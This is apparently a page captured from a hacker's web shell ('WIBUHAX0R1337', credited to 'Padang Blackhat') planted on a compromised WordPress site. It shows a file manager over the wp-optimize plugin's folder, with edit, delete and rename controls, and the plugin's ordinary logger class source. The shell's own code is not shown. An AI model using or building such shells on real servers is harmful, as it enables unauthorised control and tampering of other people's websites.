-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
xtrasolutionsco.com
/
wp-content
/
plugins
/
wp-optimize
/
includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
blockui
--
NONE
fragments
--
NONE
list-tables
--
NONE
tables
--
NONE
backward-compatibility-functions.php
3.239KB
Edit File
Delete File
Rename
class-re-smush-it-task.php
5.589KB
Edit File
Delete File
Rename
class-updraft-abstract-logger.php
3.421KB
Edit File
Delete File
Rename
class-updraft-email-logger.php
4.027KB
Edit File
Delete File
Rename
class-updraft-file-logger.php
4.156KB
Edit File
Delete File
Rename
class-updraft-log-levels.php
0.89KB
Edit File
Delete File
Rename
class-updraft-logger-interface.php
2.731KB
Edit File
Delete File
Rename
class-updraft-logger.php
4.779KB
Edit File
Delete File
Rename
class-updraft-php-logger.php
2.7KB
Edit File
Delete File
Rename
class-updraft-ring-logger.php
3.941KB
Edit File
Delete File
Rename
class-updraft-smush-manager-commands.php
28.41KB
Edit File
Delete File
Rename
class-updraft-smush-manager.php
57.782KB
Edit File
Delete File
Rename
class-updraft-smush-task.php
13.742KB
Edit File
Delete File
Rename
class-updraftcentral-wp-optimize-commands.php
1.244KB
Edit File
Delete File
Rename
class-wp-optimization.php
13.98KB
Edit File
Delete File
Rename
class-wp-optimize-404-detector-cron.php
1.033KB
Edit File
Delete File
Rename
class-wp-optimize-404-detector.php
15.009KB
Edit File
Delete File
Rename
class-wp-optimize-admin.php
35.687KB
Edit File
Delete File
Rename
class-wp-optimize-browser-cache.php
9.746KB
Edit File
Delete File
Rename
class-wp-optimize-commands.php
68.552KB
Edit File
Delete File
Rename
class-wp-optimize-database-information.php
16.918KB
Edit File
Delete File
Rename
class-wp-optimize-delay-js.php
11.077KB
Edit File
Delete File
Rename
class-wp-optimize-gzip-compression.php
10.79KB
Edit File
Delete File
Rename
class-wp-optimize-heartbeat.php
3.955KB
Edit File
Delete File
Rename
class-wp-optimize-htaccess.php
8.803KB
Edit File
Delete File
Rename
class-wp-optimize-http-error-codes-trait.php
8.827KB
Edit File
Delete File
Rename
class-wp-optimize-install-or-update-notice.php
3.245KB
Edit File
Delete File
Rename
class-wp-optimize-notices.php
15.649KB
Edit File
Delete File
Rename
class-wp-optimize-options.php
15.85KB
Edit File
Delete File
Rename
class-wp-optimize-performance.php
3.98KB
Edit File
Delete File
Rename
class-wp-optimize-preloader.php
18.273KB
Edit File
Delete File
Rename
class-wp-optimize-server-information.php
4.825KB
Edit File
Delete File
Rename
class-wp-optimize-system-status-report.php
12.236KB
Edit File
Delete File
Rename
class-wp-optimize-table-management.php
3.684KB
Edit File
Delete File
Rename
class-wp-optimize-transients-cache.php
3.334KB
Edit File
Delete File
Rename
class-wp-optimize-updates.php
11.881KB
Edit File
Delete File
Rename
class-wp-optimize-utils.php
8.071KB
Edit File
Delete File
Rename
class-wp-optimizer.php
21.312KB
Edit File
Delete File
Rename
class-wpo-activation.php
2.677KB
Edit File
Delete File
Rename
class-wpo-ajax.php
12.609KB
Edit File
Delete File
Rename
class-wpo-deactivation.php
0.521KB
Edit File
Delete File
Rename
class-wpo-image-utils.php
1.707KB
Edit File
Delete File
Rename
class-wpo-page-optimizer.php
3.257KB
Edit File
Delete File
Rename
class-wpo-uninstall.php
2.813KB
Edit File
Delete File
Rename
updraftcentral.php
1.65KB
Edit File
Delete File
Rename
<?php if (!defined('ABSPATH')) die('No direct access allowed'); require_once('class-updraft-logger-interface.php'); require_once('class-updraft-log-levels.php'); require_once('class-updraft-abstract-logger.php'); require_once('class-updraft-logger.php'); if (class_exists('Updraft_Logger')) return; /** * Class Updraft_Logger */ class Updraft_Logger implements Updraft_Logger_Interface { /** * Array of loggers * * @var Updraft_Logger_Interface[] */ protected $_loggers = array(); /** * Constructor method * * @param Updraft_Logger_Interface|null $logger */ public function __construct($logger = null) { if (!empty($logger)) $this->_loggers = array($logger); } /** * Returns singleton instance object * * @return Updraft_Logger Returns `Updraft_Logger` object */ public static function instance() { static $_instance = null; if (null === $_instance) { $_instance = new self(); } return $_instance; } /** * Add logger to loggers list * * @param Updraft_Logger_Interface $logger * @return false|void */ public function add_logger($logger) { $logger_id = $logger_class = get_class($logger); // don't add logger if it doesn't support multiple loggers. if (!empty($this->_loggers) && array_key_exists($logger_id, $this->_loggers) && false === $logger->is_allow_multiple()) return false; $index = 0; // get free id key. while (array_key_exists($logger_id, $this->_loggers)) { $index++; $logger_id = $logger_class.'_'.$index; } $this->_loggers[$logger_id] = $logger; } /** * Return list of loggers * * @return array */ public function get_loggers() { return $this->_loggers; } /** * System is unusable. * * @param string $message * @param array $context * @return void */ public function emergency($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->emergency($message, $context); } } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * @return void */ public function alert($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->alert($message, $context); } } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * @return void */ public function critical($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->critical($message, $context); } } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * @return void */ public function error($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->error($message, $context); } } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * @return void */ public function warning($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->warning($message, $context); } } /** * Normal but significant events. * * @param string $message * @param array $context * @return void */ public function notice($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->notice($message, $context); } } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * @return void */ public function info($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->info($message, $context); } } /** * Detailed debug information. * * @param string $message * @param array $context * @return void */ public function debug($message, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as &$logger) { $logger->debug($message, $context); } } /** * Logs with an arbitrary level. * * @param string $message * @param mixed $level * @param array $context * @return void */ public function log($message, $level, $context = array()) { if (empty($this->_loggers)) return; foreach ($this->_loggers as $logger) { $logger->log($message, $level, $context); } } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat